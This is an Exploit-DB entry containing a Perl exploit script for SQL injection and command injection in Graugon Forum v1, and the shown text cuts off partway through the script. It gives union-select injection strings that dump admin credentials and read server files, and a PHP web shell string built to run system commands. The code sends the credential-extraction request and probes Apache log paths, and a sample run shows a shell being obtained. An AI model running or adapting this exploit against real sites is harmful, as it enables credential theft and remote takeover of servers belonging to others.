Exploit-DB #8089
Description: Graugon Forum 1 - 'id' Command Injection / SQL Injection
Type: webapps
Platform: php
Date: 2009-02-20
Author: Osirys

Exploit:
#!/usr/bin/perl

# |--------------------------------------------------------------------------------------------------------------------------------------------|
# |                     INFORMATIONS                                                                                                           |
# |--------------------------------------------------------------------------------------------------------------------------------------------|
# |Web Application :   Graugon Forum v1                                                                                                        |
# |Download        :   http://www.graugon.com/forum/forum.zip                                                                                  |
# |--------------------------------------------------------------------------------------------------------------------------------------------|
# |Remote SQL Command Injection Exploit                                                                                                        |
# |by Osirys                                                                                                                                   |
# |osirys[at]autistici[dot]org                                                                                                                 |
# |osirys.org                                                                                                                                  |
# |Greets to: evilsocket, Fireshot, Todd and str0ke                                                                                            |
# |Thank you: milw0rm.com / packetstormsecurity.org / evilsocket.net                                                                           |
# |--------------------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Sql Injection]
# |  p0c : /[path]/view_profile.php?id=[sql_string]
# |SQL Injections used by this sploit :
# |[1] /path]/view_profile.php?id=osirys' union all select concat(details),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 from admins_lf2713 order by '*
# |[2] /path]/view_profile.php?id=osirys' union all select load_file('file'),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 order by '*
# |[3] /path]/view_profile.php?id=osirys' union all select 'rce',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 into outfile 'file
# |--------------------------------------------------------------------------------------------------------------------------------------------|

#----------------------------------------------------------------------------------------------------------------------------------------------|
# Exploit in action [>!]
#----------------------------------------------------------------------------------------------------------------------------------------------|
# osirys[~]>$ perl graugon_forum.txt http://localhost/forum/
#
#   ---------------------------
#          Graugon Forum
#       Command Inj Exploit
#           by Osirys
#   ---------------------------
#
# [*] Getting admin login details ..
# [$] User: admin
# [$] Pass: password
# [*] Generating error through GET request ..
# [*] Cheeking Apache Error Log path ..
# [*] Error Log path found -> /var/log/httpd/error_log
# [*] Website path found -> /home/osirys/web/forum/
# [*] Shell succesfully injected !
# [&] Hi my master, do your job now [!]
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/forum
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
#----------------------------------------------------------------------------------------------------------------------------------------------|

use IO::Socket;
use LWP::UserAgent;

my $host = $ARGV[0];
my $rand = int(rand 9) +1;

my @error_logs  =  qw(
                      /var/log/httpd/error.log
                      /var/log/httpd/error_log
                      /var/log/apache/error.log
                      /var/log/apache/error_log
                      /var/log/apache2/error.log
                      /var/log/apache2/error_log
                      /logs/error.log
                      /var/log/apache/error_log
                      /var/log/apache/error.log
                      /usr/local/apache/logs/error_log
                      /etc/httpd/logs/error_log
                      /etc/httpd/logs/error.log
                      /var/www/logs/error_log
                      /var/www/logs/error.log
                      /usr/local/apache/logs/error.log
                      /var/log/error_log
                      /apache/logs/error.log
                    );

my $php_c0de   =  "<?php echo \"st4rt\";if(get_magic_quotes_gpc()){ \$_GET".
                  "[cmd]=stripslashes(\$_GET[cmd]);}system(\$_GET[cmd]);?>";

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

print "[*] Getting admin login details ..\n";

my $url = $host."/view_profile.php?id=osirys' union all select concat(0x[PII_REDACTED]6C73,username,0x3a,password,0x[PII_REDACTED]6C73),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 from admins_lf2713 order by '*";
my $re = get_req($url);
if ($re =~ /details(.+):(.+)details/) {
    $user = $1;
    $pass = $2;
    print "[\$] User: $user\n";
    print "[\$] Pass: $pass\n";
}
else {
    print "[-] Can't extract admin details\n\n";
}

print "[*] Generating error through GET request ..\n";

get_req($host."/osirys_log_test".$rand);

print "[*] Cheeking Apache Error Log path ..\n";

while (($log = <@error_logs>)&&($gotcha != 1)) {
    $tmp_path = $host."/view_profile.php?id=osirys' union all select load_file('".$log."'),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 order by '*";
    $re = get_req($tmp_path);
    if ($re =~ /File does not exist: (.+)\/osirys_log_test$rand/) {